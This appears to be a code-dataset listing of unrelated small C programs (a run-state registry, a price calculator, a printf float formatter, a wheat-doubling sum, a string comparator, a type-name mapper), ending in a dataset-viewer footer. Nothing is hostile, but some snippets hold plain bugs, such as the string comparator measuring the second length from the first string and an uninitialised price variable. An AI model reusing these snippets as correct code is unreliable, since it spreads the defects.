// printf("find_run by ptr: %p\n", st);
for (i = 0; i < n_runs; ++ i) {
if (runs[i].st == st) return i;
}
return -1;
}
int append_run(LPCTSTR name, unsigned flags, struct SYS_RUN_STATE*st)
{
int n = n_runs ++;
// printf("append_run %s: %x, %p\n", name, flags, st);
runs = realloc(runs, n_runs * sizeof(runs[0]));
if (!runs) return -1;
runs[n].name = name?_tcsdup(name):NULL;
runs[n].flags = flags;
runs[n].st = st;
return n;
}
int set_run_state_flags(LPCTSTR name, unsigned flags)
{
int i;
i = find_run_by_name(name);
if (i == -1) i = append_run(name, flags, NULL);
else runs[i].flags = flags;
return i;
}
unsigned get_run_state_flags(LPCTSTR name)
{
int i;
i = find_run_by_name(name);
if (i == -1) return 0;
return runs[i].flags;
}
unsigned or_run_state_flags(LPCTSTR name, unsigned flags)
{
int i;
i = find_run_by_name(name);
if (i == -1) { append_run(name, flags, NULL); return flags; }
return runs[i].flags |= flags;
}
unsigned and_run_state_flags(LPCTSTR name, unsigned flags)
{
int i;
i = find_run_by_name(name);
if (i == -1) { append_run(name, 0, NULL); return 0; }
return runs[i].flags &= flags;
}
unsigned get_run_state_flags_by_ptr(struct SYS_RUN_STATE*st)
{
int i;
i = find_run_by_ptr(st);
if (i == -1) return 0;
return runs[i].flags;
}
LPCTSTR get_run_state_name(struct SYS_RUN_STATE*st)
{
int i;
i = find_run_by_ptr(st);
if (i == -1) return NULL;
return runs[i].name;
}
int set_run_state_ptr(LPCTSTR name, struct SYS_RUN_STATE*st)
{
int i;
i = find_run_by_name(name);
if (i == -1) i = append_run(name, 0, st);
else runs[i].st = st;
return i;
}
struct SYS_RUN_STATE*get_run_state_ptr(LPCTSTR name)
{
int i;
i = find_run_by_name(name);
if (i == -1) return NULL;
return runs[i].st;
}
struct SYS_RUN_STATE*get_run_state_ptr_by_no(int no)
{
if (no < 0 || no >= n_runs) return NULL;
return runs[no].st;
}
int get_n_running_systems()
{
int i, r = 0;
for (i = 0; i < n_runs; ++ i) {
if (runs[i].name && runs[i].st && (runs[i].flags & (RUNSTATE_RUNNING | RUNSTATE_PAUSED))) ++r;
}
return r;
}
int free_all_running_systems()
{
int i, r = 0;
for (i = 0; i < n_runs; ++ i) {
if (runs[i].name && runs[i].st && (runs[i].flags & RUNSTATE_RUNNING)) {
free_system_state(runs[i].st);
runs[i].st = NULL;
runs[i].flags &= ~(RUNSTATE_RUNNING | RUNSTATE_PAUSED);
}
}
return r;
}
|
C
|
#include <stdio.h>
int main()
{
int codigo, quantidade;
double valor, pagamento;
scanf("%d", &codigo);
scanf("%d", &quantidade);
if(codigo==1)
{
valor=5.3;
}
else if(codigo==2)
{
valor=6.0;
}
else if(codigo==3)
{
valor=3.2;
}
else if(codigo==4)
{
valor=2.5;
}
pagamento = valor*quantidade;
if(quantidade>=15 || pagamento>=40)
{
pagamento = pagamento - (pagamento*0.15);
}
printf("R$ %.2lf", pagamento);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* print_float.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: cbernabo <cbernabo@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/07/09 21:47:02 by cbernabo #+# #+# */
/* Updated: 2019/07/14 19:23:45 by cbernabo ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_printf.h"
#define DEFAULT_PRECISION 6
int print_float(va_list param, t_format format, int fd)
{
long double nbr;
int len;
if (format.lengh == UPPER_L)
nbr = va_arg(param, long double);
else
nbr = va_arg(param, double);
if (format.precision == EMPTY)
format.precision = DEFAULT_PRECISION;
format.positive = (nbr < 0) ? 0 : 1;
len = write_float(format, fd, nbr);
return (len);
}
int write_float(t_format format, int fd, long double nbr)
{
long long int integer;
char *num;
char *num_float;
char *str;
int len;
len = (format.flags.plus && format.positive) ? 1 : 0;
if (format.flags.space && !format.flags.plus)
len++;
integer = (long long int)nbr;
num = ft_llitoa(integer);
nbr = nbr - integer + 1;
integer = get_float(nbr, format.precision + 1);
num_float = precision_float(format.precision, integer, nbr);
str = join_float(num, num_float);
if (format.flags.minus)
return (p_minus_f(format, str, fd));
len += print_all_float(format, str, len, fd);
return (len);
}
int p_minus_f(t_format format, char *str, int fd)
{
int len;
len = 0;
len += ft_strlen(str);
len += print_flags(format, fd);
ft_putstr_fd(str, fd);
len += print_width(format, len, fd);
return (len);
}
int print_all_float(t_format format, char *str, int len, int fd)
{
int start;
start = 0;
if (format.flags.zero && !format.positive)
{
ft_putchar_fd(str[0], fd);
start = 1;
}
if (format.flags.zero && format.flags.plus && format.positive)
write(fd, "+", 1);
len += ft_strlen(str);
len += print_width(format, len, fd);
len += print_flags(format, fd);
ft_putstr_fd(&str[start], fd);
return (len);
}
|
C
|
#include <stdio.h>
#include <math.h>
int main()
{
unsigned long long result = 0;
unsigned long long kg;
unsigned long long temp;
int i;
for(i = 0; i < 64; i++)
{
temp = pow(2,i);
result = result + temp;
}
kg = result / 25000;
printf("舍罕王应该给予达依尔%llu粒麦子\n应该给%llukg麦子\n",result, kg);
return 0;
}
|
C
|
int main()
{
char str1[80];
char str2[80];
int len1,len2,i,j,n;
cin.getline(str1,80);
cin.getline(str2,80);
n=0;
for(len1=0;str1[len1]!='\0';len1++);
for(len2=0;str1[len2]!='\0';len2++);
j='A'-'a';
for(i=0;i<=len1;i++)
{
if( (str1[i]!=str2[i]) && ((str1[i]-str2[i])!=j) && ((str2[i]-str1[i])!=j) )
{
if(str1[i]<str2[i])
{
if((str1[i]-j)<str2[i]) {cout<<'<';break;}
else {cout<<'>';break;}
}
if(str1[i]>str2[i])
{
if((str1[i]+j)<str2[i]) {cout<<'<';break;}
else {cout<<'>';break;}
}
}
n++;
}
if (n==(len1+1)) cout<<'=';
return 0;
}
|
C
|
#include <constants.h>
char* conversions[] = {
"int",
"string",
"char",
"bool",
"real",
"nil"
};
const char* TypeAsString(Type t) {
switch(t) {
case IntType:
return conversions[0];
case StringType:
return conversions[1];
case CharType:
return conversions[2];
case BoolType:
return conversions[3];
case RealType:
return conversions[4];
case NilType:
return conversions[5];
}
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.